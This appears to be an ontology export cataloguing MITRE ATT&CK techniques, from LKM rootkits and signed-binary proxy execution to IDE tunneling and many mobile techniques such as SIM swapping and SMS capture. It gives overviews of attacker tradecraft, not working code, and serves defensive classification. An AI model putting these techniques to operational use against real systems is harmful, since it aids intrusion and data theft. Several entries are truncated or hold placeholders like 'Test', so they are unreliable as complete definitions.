definition: Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)
comment: This technique has been revoked by T1547.006
subclass of: PersistenceTechnique
deprecated: true

PubPrn
type: Class
attack-id: T1216.001
definition: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
subclass of: T1216

SyncAppvPublishingServer
type: Class
attack-id: T1216.002
definition: Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)
subclass of: T1216

Browser Information Discovery
type: Class
attack-id: T1217
definition: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)
subclass of: DiscoveryTechnique

Msiexec
type: Class
attack-id: T1218.007
definition: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.
subclass of: T1218

Odbcconf
type: Class
attack-id: T1218.008
definition: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
subclass of: T1218

Verclsid
type: Class
attack-id: T1218.012
definition: Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
subclass of: T1218

Mavinject
type: Class
type: NamedIndividual
attack-id: T1218.013
definition: Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
invokes: CreateThread
modifies: ProcessSegment
subclass of: Restriction
  on property: invokes
  some values from: CreateThread
subclass of: Restriction
  on property: modifies
  some values from: ProcessSegment
subclass of: T1218

MMC
type: Class
type: NamedIndividual
attack-id: T1218.014
definition: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
executes: ShellCommand
may-add: Software
may-modify: SystemConfigurationDatabase
subclass of: Restriction
  on property: executes
  some values from: ShellCommand
subclass of: Restriction
  on property: may-add
  some values from: Software
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabase
subclass of: T1218

Electron Applications
type: Class
attack-id: T1218.015
definition: Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)
subclass of: T1218

IDE Tunneling
type: Class
attack-id: T1219.001
definition: Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.(Citation: sentinelone operationDigitalEye Dec 2024)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Thornton tutorial VSCode shell September 2023)
subclass of: T1219

Remote Desktop Software
type: Class
attack-id: T1219.002
definition: An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)
subclass of: T1219

Remote Access Hardware
type: Class
attack-id: T1219.003
definition: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment.
subclass of: T1219

XSL Script Processing
type: Class
type: NamedIndividual
adds: File
attack-id: T1220
definition: Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
interprets: ExecutableScript
invokes: CreateProcess
subclass of: Restriction
  on property: interprets
  some values from: ExecutableScript
subclass of: Restriction
  on property: adds
  some values from: File
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: DefenseEvasionTechnique

Template Injection
type: Class
attack-id: T1221
definition: Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
subclass of: DefenseEvasionTechnique

Windows File and Directory Permissions Modification
type: Class
attack-id: T1222.001
definition: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
subclass of: T1222

Linux and Mac File and Directory Permissions Modification
type: Class
attack-id: T1222.002
definition: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
subclass of: T1222

Compiled HTML File
type: Class
attack-id: T1223
definition: Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
comment: This technique has been revoked by T1218.001
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

Boot or Logon Initialization Scripts - ATTACK Mobile
type: Class
attack-id: T1398
definition: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken.
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Boot or Logon Initialization Scripts

Modify Trusted Execution Environment - ATTACK Mobile
type: Class
attack-id: T1399
definition: If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)
comment: This technique has been deprecated.
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobilePersistenceTechnique
deprecated: true
preferred label: Modify Trusted Execution Environment

Modify System Partition - ATTACK Mobile
type: Class
attack-id: T1400
definition: If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.
comment: This technique has been revoked by T1625.001
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileImpactTechnique
subclass of: ATTACKMobilePersistenceTechnique
deprecated: true
preferred label: Modify System Partition

Device Administrator Permissions - ATTACK Mobile
type: Class
attack-id: T1401
definition: Adversaries may request device administrator permissions to perform malicious actions.
comment: This technique has been revoked by T1626.001
subclass of: ATTACKMobilePrivilegeEscalationTechnique
deprecated: true
preferred label: Device Administrator Permissions

Broadcast Receivers - ATTACK Mobile
type: Class
attack-id: T1402
definition: An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.
comment: This technique has been revoked by T1624.001
subclass of: ATTACKMobileExecutionTechnique
subclass of: ATTACKMobilePersistenceTechnique
deprecated: true
preferred label: Broadcast Receivers

Modify Cached Executable Code - ATTACK Mobile
type: Class
attack-id: T1403
definition: ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)
comment: This technique has been deprecated.
subclass of: ATTACKMobilePersistenceTechnique
deprecated: true
preferred label: Modify Cached Executable Code

Exploitation for Privilege Escalation - ATTACK Mobile
type: Class
attack-id: T1404
definition: Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
subclass of: ATTACKMobilePrivilegeEscalationTechnique
preferred label: Exploitation for Privilege Escalation

Exploit TEE Vulnerability - ATTACK Mobile
type: Class
attack-id: T1405
definition: A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).
comment: This technique has been deprecated.
subclass of: ATTACKMobileCredentialAccessTechnique
subclass of: ATTACKMobilePrivilegeEscalationTechnique
deprecated: true
preferred label: Exploit TEE Vulnerability

Steganography - ATTACK Mobile
type: Class
attack-id: T1406.001
definition: Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.
subclass of: T1406
preferred label: Steganography

Software Packing - ATTACK Mobile
type: Class
attack-id: T1406.002
definition: Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
subclass of: T1406
preferred label: Software Packing

Download New Code at Runtime - ATTACK Mobile
type: Class
attack-id: T1407
definition: Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Download New Code at Runtime

Disguise Root/Jailbreak Indicators - ATTACK Mobile
type: Class
attack-id: T1408
definition: An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).
comment: This technique has been revoked by T1630.003
subclass of: ATTACKMobileDefenseEvasionTechnique
deprecated: true
preferred label: Disguise Root/Jailbreak Indicators

Stored Application Data - ATTACK Mobile
type: Class
attack-id: T1409
definition: Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)
subclass of: ATTACKMobileCollectionTechnique
preferred label: Stored Application Data

Network Traffic Capture or Redirection - ATTACK Mobile
type: Class
attack-id: T1410
definition: An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.
comment: This technique has been revoked by T1638
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: Network Traffic Capture or Redirection

Input Prompt - ATTACK Mobile
type: Class
attack-id: T1411
definition: The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.
comment: This technique has been revoked by T1417.002
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: Input Prompt

Capture SMS Messages - ATTACK Mobile
type: Class
attack-id: T1412
definition: A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.
comment: This technique has been revoked by T1636.004
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: Capture SMS Messages

Access Sensitive Data in Device Logs - ATTACK Mobile
type: Class
attack-id: T1413
definition: On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.
comment: This technique has been deprecated.
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: Access Sensitive Data in Device Logs

Clipboard Data - ATTACK Mobile
type: Class
attack-id: T1414
definition: Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard)
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCredentialAccessTechnique
preferred label: Clipboard Data

URL Scheme Hijacking - ATTACK Mobile
type: Class
attack-id: T1415
definition: An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).
comment: This technique has been revoked by
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: URL Scheme Hijacking

URI Hijacking - ATTACK Mobile
type: Class
attack-id: T1416
definition: Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.
comment: This technique has been revoked by T1635.001
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: URI Hijacking

Keylogging - ATTACK Mobile
type: Class
attack-id: T1417.001
definition: Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.
subclass of: T1417
preferred label: Keylogging

Security Software Discovery - ATTACK Mobile
type: Class
attack-id: T1418.001
definition: Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions.
subclass of: Software Discovery - ATTACK Mobile
preferred label: Security Software Discovery

Device Type Discovery - ATTACK Mobile
type: Class
attack-id: T1419
definition: On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.
comment: This technique has been revoked by
subclass of: ATTACKMobileDiscoveryTechnique
deprecated: true
preferred label: Device Type Discovery

File and Directory Discovery - ATTACK Mobile
type: Class
attack-id: T1420
definition: Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions.
subclass of: ATTACKMobileDiscoveryTechnique
preferred label: File and Directory Discovery

Internet Connection Discovery - ATTACK Mobile
type: Class
attack-id: T1422.001
definition: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using `adb shell netstat` for Android.(Citation: adb_commands)
subclass of: T1422
preferred label: Internet Connection Discovery

Wi-Fi Discovery - ATTACK Mobile
type: Class
attack-id: T1422.002
definition: Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Discovery](https://attack.mitre.org/tactics/TA0032) or [Credential Access](https://attack.mitre.org/tactics/TA0031) activity to support both ongoing and future campaigns.
subclass of: T1422
preferred label: Wi-Fi Discovery

Network Service Scanning - ATTACK Mobile
type: Class
attack-id: T1423
definition: Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).
subclass of: ATTACKMobileDiscoveryTechnique
preferred label: Network Service Scanning

Process Discovery - ATTACK Mobile
type: Class
attack-id: T1424
definition: Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
subclass of: ATTACKMobileDiscoveryTechnique
preferred label: Process Discovery

System Information Discovery - ATTACK Mobile
type: Class
attack-id: T1426
definition: Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions.
subclass of: ATTACKMobileDiscoveryTechnique
preferred label: System Information Discovery

Attack PC via USB Connection - ATTACK Mobile
type: Class
attack-id: T1427
definition: With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.
comment: This technique has been deprecated.
subclass of: ATTACKMobileLateralMovementTechnique
deprecated: true
preferred label: Attack PC via USB Connection

Exploitation of Remote Services - ATTACK Mobile
type: Class
attack-id: T1428
definition: Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
subclass of: ATTACKMobileLateralMovementTechnique
preferred label: Exploitation of Remote Services

Audio Capture - ATTACK Mobile
type: Class
attack-id: T1429
definition: Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information.
subclass of: ATTACKMobileCollectionTechnique
preferred label: Audio Capture

Remote Device Management Services - ATTACK Mobile
type: Class
attack-id: T1430.001
definition: An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location)
subclass of: T1430
preferred label: Remote Device Management Services

Impersonate SS7 Nodes - ATTACK Mobile
type: Class
attack-id: T1430.002
definition: Adversaries may exploit the lack of authentication in signaling system network nodes to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport)
subclass of: T1430
preferred label: Impersonate SS7 Nodes

Access Contact List - ATTACK Mobile
type: Class
attack-id: T1432
definition: An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.
comment: This technique has been revoked by T1636.003
subclass of: ATTACKMobileCollectionTechnique
deprecated: true
preferred label: Access Contact List

Access Call Log - ATTACK Mobile
type: Class
attack-id: T1433
definition: On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.
comment: This technique has been revoked by T1636.002
subclass of: ATTACKMobileCollectionTechnique
deprecated: true
preferred label: Access Call Log

Access Calendar Entries - ATTACK Mobile
type: Class
attack-id: T1435
definition: An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.
comment: This technique has been revoked by T1636.001
subclass of: ATTACKMobileCollectionTechnique
deprecated: true
preferred label: Access Calendar Entries

Commonly Used Port - ATTACK Mobile
type: Class
attack-id: T1436
definition: Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.
comment: This technique has been deprecated.
subclass of: ATTACKMobileCommandAndControlTechnique
subclass of: ATTACKMobileExfiltrationTechnique
deprecated: true
preferred label: Commonly Used Port

Web Protocols - ATTACK Mobile
type: Class
attack-id: T1437.001
definition: Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server.
subclass of: Application Layer Protocol - ATTACK Mobile
preferred label: Web Protocols

Exfiltration Over Other Network Medium - ATTACK Mobile
type: Class
attack-id: T1438
definition: Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel.
comment: This technique has been revoked by T1644
subclass of: ATTACKMobileCommandAndControlTechnique
deprecated: true
preferred label: Exfiltration Over Other Network Medium

Masquerade as Legitimate Application - ATTACK Mobile
type: Class
attack-id: T1444
definition: An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.
comment: This technique has been deprecated.
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileInitialAccessTechnique
deprecated: true
preferred label: Masquerade as Legitimate Application

Device Lockout - ATTACK Mobile
type: Class
attack-id: T1446
definition: An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.
comment: This technique has been revoked by T1629.002
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Device Lockout

Delete Device Data - ATTACK Mobile
type: Class
attack-id: T1447
definition: Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)
comment: This technique has been revoked by T1630.002
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Delete Device Data

Carrier Billing Fraud - ATTACK Mobile
type: Class
attack-id: T1448
definition: A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.
comment: This technique has been revoked by T1643
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Carrier Billing Fraud

SIM Card Swap - ATTACK Mobile
type: Class
attack-id: T1451
definition: Adversaries may gain access to mobile devices through transfers or swaps from victims’ phone numbers to adversary-controlled SIM cards and mobile devices.(Citation: ATT SIM Swap Scams)(Citation: Verizon SIM Swapping)
subclass of: ATTACKMobileInitialAccessTechnique
preferred label: SIM Card Swap

Manipulate App Store Rankings or Ratings - ATTACK Mobile
type: Class
attack-id: T1452
definition: An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).
comment: This technique has been revoked by T1643
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Manipulate App Store Rankings or Ratings

Abuse Accessibility Features - ATTACK Mobile
type: Class
attack-id: T1453
definition: **This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**
comment: **This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCredentialAccessTechnique
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Abuse Accessibility Features

Malicious SMS Message - ATTACK Mobile
type: Class
attack-id: T1454
definition: Test
comment: This technique has been revoked by
subclass of: ATTACKMobileCollectionTechnique
deprecated: true
preferred label: Malicious SMS Message

Drive-By Compromise - ATTACK Mobile
type: Class
attack-id: T1456
definition: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001).
subclass of: ATTACKMobileInitialAccessTechnique
preferred label: Drive-By Compromise

Replication Through Removable Media - ATTACK Mobile
type: Class
attack-id: T1458
definition: Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include:
subclass of: ATTACKMobileInitialAccessTechnique
subclass of: ATTACKMobileLateralMovementTechnique
preferred label: Replication Through Removable Media

Lockscreen Bypass - ATTACK Mobile
type: Class
attack-id: T1461
definition: An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:
subclass of: ATTACKMobileInitialAccessTechnique
preferred label: Lockscreen Bypass

Network Denial of Service - ATTACK Mobile
type: Class
attack-id: T1464
definition: Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices.
subclass of: ATTACKMobileImpactTechnique
preferred label: Network Denial of Service

Data Encrypted for Impact - ATTACK Mobile
type: Class
attack-id: T1471
definition: An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
subclass of: ATTACKMobileImpactTechnique
preferred label: Data Encrypted for Impact

Generate Fraudulent Advertising Revenue - ATTACK Mobile
type: Class
attack-id: T1472
definition: An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.
comment: This technique has been revoked by T1643
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Generate Fraudulent Advertising Revenue

Compromise Software Dependencies and Development Tools - ATTACK Mobile
type: Class
attack-id: T1474.001
definition: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)
subclass of: T1474
preferred label: Compromise Software Dependencies and Development Tools

Compromise Hardware Supply Chain - ATTACK Mobile
type: Class
attack-id: T1474.002
definition: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.
subclass of: T1474
preferred label: Compromise Hardware Supply Chain

